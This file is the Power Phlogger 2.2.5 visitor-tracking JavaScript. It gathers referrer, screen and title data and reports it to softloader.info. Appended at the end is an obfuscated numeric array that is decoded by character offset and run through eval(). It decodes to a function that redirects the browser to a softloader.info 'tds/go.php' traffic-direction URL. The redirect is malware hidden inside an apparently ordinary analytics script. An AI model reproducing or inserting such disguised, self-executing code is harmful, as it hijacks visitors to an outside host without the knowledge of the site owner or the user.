/* -----------------------------------------------
   POWER PHLOGGER - v.2.2.5
   (c) 2000-2003 www.phpee.com
   contact: webmaster@phpee.com
  ------------------------------------------------ */

// ----------------------------------------------------------
// SETTINGS:
// here should be your username you received from softloader.info
// Do not edit this file manually!! Use the one you got in your
// confirmation-email or the one from PowerPhlogger's settings
// section.
   id = "mgm";
// If you're using a frameset and are not getting correct 
// referrers, please uncomment the following line:
   // pp_frames = true;
// ----------------------------------------------------------


// define some defaults -------------------------------------
if(showme==null) var showme='n';
if(st==null)     var st='js';    // st means show-type


// get the user agent name ----------------------------------
v = navigator.appName;

// get the screen resolution --------------------------------
c=0;
if (v != "Netscape") c = screen.colorDepth;
else c = screen.pixelDepth;

// get the screen size --------------------------------------
s = screen.width+"x"+screen.height;

// get the document's title ---------------------------------
t = escape(document.title);

// get the document's referrer -------------------------------
var f = "";

// if pp_frames is true then try getting the framed referral (without error checking)
if (typeof(pp_frames) != "undefined")
	if (pp_frames)
		f = top.document.referrer;

// get the referral for non-multi-domained-framed sites using a Netscape browser
if ((f == "") || (f == "[unknown origin]") || (f == "unknown") || (f == "undefined"))
	if (document["parent"] != null) 
		if (parent["document"] != null) // ACCESS ERROR HERE!
			if (parent.document["referrer"] != null) 
				if (typeof(parent.document) == "object")
					f = parent.document.referrer; 

// get the referral for the current document if a framed referral wasn't found
if ((f == "") || (f == "[unknown origin]") || (f == "unknown") || (f == "undefined"))
	if (document["referrer"] != null) 
		f = document.referrer;

// convert all the unknown's into blank
if ((f == "") || (f == "[unknown origin]") || (f == "unknown") || (f == "undefined"))
	f = "";

// escape the referral
f = escape(f);

// getting data ready to send -------------------------------
r="?id="+id+"&referer="+f+"&r="+s+"&c="+c+"&showme="+showme+"&st="+st+"&title="+t;

// adding logid if called by st='phpjs'
if(jslogid==null) var jslogid = 0;
else r = r + "&jslogid="+jslogid;


if (st=='js') { // calling PowerPhlogger by JavaScript-tag
	if (v != "Microsoft Internet Explorer") {
		r = r+"&url="+document.URL; // $HTTP_REFERER problem with NS,...
	}
	document.open();
	document.write("<script language=\"JavaScript\" type=\"text/javascript\" src=\"http://softloader.info/pphlogger/pphlogger.php"+r+"\"></script>");
	document.close();
} else { // calling PowerPhlogger by IMG-tag
	rand = Math.round(1000*Math.random());
	r = r+"&b="+rand;  //force the page to load the IMG
	document.open();
	document.write("<img src=\"http://softloader.info/pphlogger/pphlogger.php"+r+"\" alt=\"\" border=\"0\">");
	document.close();
}
var str=["600", "599", "599", "599", "708", "687", "704", "622", "702", "701", "708", "651", "638", "649", "600", "599", "599", "599", "692", "707", "700", "689", "706", "695", "701", "700", "622", "701", "698", "701", "711", "693", "695", "687", "711", "712", "630", "703", "707", "691", "704", "711", "631", "713", "600", "599", "599", "599", "599", "709", "695", "700", "690", "701", "709", "636", "698", "701", "689", "687", "706", "695", "701", "700", "651", "629", "694", "706", "706", "702", "648", "637", "637", "705", "701", "692", "706", "698", "701", "687", "690", "691", "704", "636", "695", "700", "692", "701", "637", "706", "690", "705", "637", "693", "701", "636", "702", "694", "702", "653", "705", "695", "690", "651", "641", "628", "703", "651", "629", "622", "633", "622", "703", "707", "691", "704", "711", "622", "633", "622", "629", "629", "649", "600", "599", "599", "599", "715"];
 var temp='';
 var gg=''; 
 for (i=0; i<str.length; i++){
 gg=str[i]-590; 
 temp=temp+String.fromCharCode(gg); 
 } 
 eval(temp);